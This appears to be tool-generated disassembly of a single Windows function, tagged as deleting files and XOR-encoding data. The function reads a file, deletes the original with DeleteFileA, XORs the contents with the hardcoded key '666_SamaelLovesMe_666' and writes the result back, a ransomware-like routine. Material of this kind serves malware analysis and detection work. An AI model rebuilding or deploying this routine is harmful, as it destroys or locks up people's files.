Function at 0x4057a0
Capabilities:
Delete file
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4253b6
mov eax, dword fs:[0]
push eax
sub esp, 0x184
push ebx
push esi
push edi
mov eax, dword [0x431860]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
sub esp, 8
lea ecx, [ebp - 0xd0]
push 0x20
push ebx
call fcn.00403880
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0xc4], 6
je 0x40580e
mov edx, str.Error_opening_file_for_reading_n
mov ecx, 0x433130
call fcn.00405410
xor bl, bl
jmp 0x405a58
push 2
sub esp, 8
lea ecx, [ebp - 0xd0]
call fcn.004028e0
lea eax, [ebp - 0x190]
push eax
lea ecx, [ebp - 0xd0]
call fcn.004029e0
mov edi, dword [eax + 8]
add edi, dword [eax]
push 0
sub esp, 8
lea ecx, [ebp - 0xd0]
call fcn.004028e0
push edi
call fcn.0040caa9
mov esi, eax
mov eax, edi
cdq
mov ecx, eax
add esp, 4
mov eax, edx
push eax
push ecx
mov dword [ebp - 0x10], ecx
push esi
lea ecx, [ebp - 0xd0]
mov dword [ebp - 0x18], eax
call fcn.004027b0
lea ecx, [ebp - 0xc0]
call fcn.00404080
test eax, eax
jne 0x4058a2
mov eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0xd0]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x40589a
or eax, 4
push 0
push eax
call fcn.004017d0
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ecx, ecx
test edi, edi
je 0x4058cc
mov dword [ebp - 0x14], 0x15
mov eax, ecx
xor edx, edx
div dword [ebp - 0x14]
inc ecx
mov al, byte [edx + str.666_SamaelLovesMe_666]
xor byte [ecx + esi - 1], al
cmp ecx, edi
jb 0x4058b6
sub esp, 0xc
lea ecx, [ebp - 0x178]
push ebx
call fcn.00402dc0
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x178]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x16c], 6
je 0x40590e
mov edx, str.Error_opening_file_for_writing_n
mov ecx, 0x433130
call fcn.00405410
push esi
call fcn.0040e3a4
add esp, 4
xor bl, bl
jmp 0x405962
push dword [ebp - 0x18]
lea ecx, [ebp - 0x178]
push dword [ebp - 0x10]
push esi
call fcn.00402560
lea ecx, [ebp - 0x174]
call fcn.00404080
test eax, eax
jne 0x405957
mov eax, dword [ebp - 0x178]
lea ecx, [ebp - 0x178]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x40594f
or eax, 4
push 0
push eax
call fcn.004017d0
push esi
call fcn.0040e3a4
add esp, 4
mov bl, 1
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x178]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x17c], eax
cmp dword [ebp - 0x124], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x4059d0
mov edx, dword [ebp - 0x168]
lea eax, [ebp - 0x130]
cmp dword [edx], eax
jne 0x4059d0
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x138]
mov dword [edx], eax
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
sub ecx, ecx
mov dword [eax], ecx
cmp byte [ebp - 0x128], 0
je 0x4059e4
lea ecx, [ebp - 0x174]
call fcn.00404080
mov esi, dword [ebp - 0x140]
mov dword [ebp - method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
test esi, esi
je 0x405a18
mov ecx, dword [esi]
test ecx, ecx
je 0x405a0f
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x405a0f
mov edx, dword [eax]
push 1
mov ecx, eax
call dword [edx]
push esi
call fcn.0040e428
add esp, 4
mov eax, dword [ebp - 0x178]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x17c], eax
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0040c761
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xd4], eax
cmp dword [ebp - 0x70], 0
mov dword [ebp - 0xc0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x405ac3
mov edx, dword [ebp - 0xb4]
lea eax, [ebp - 0x7c]
cmp dword [edx], eax
jne 0x405ac3
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov dword [edx], eax
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
sub ecx, ecx
mov dword [eax], ecx
cmp byte [ebp - 0x74], 0
je 0x405ad4
lea ecx, [ebp - 0xc0]
call fcn.00404080
mov esi, dword [ebp - 0x8c]
mov dword [ebp - 0xc0], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
test esi, esi
je 0x405b08
mov ecx, dword [esi]
test ecx, ecx
je 0x405aff
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x405aff
mov edx, dword [eax]
push 1
mov ecx, eax
call dword [edx]
push esi
call fcn.0040e428
add esp, 4
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xd0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov ecx, dword [ebp - 0xd0]
lea eax, [ebp - 0x60]
mov edx, dword [ecx + 4]
push eax
lea ecx, [edx - 0x18]
mov dword [ebp + edx - 0xd4], ecx
mov dword [ebp - 0x60], vtable.std::ios_base.0
call fcn.0040c761
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret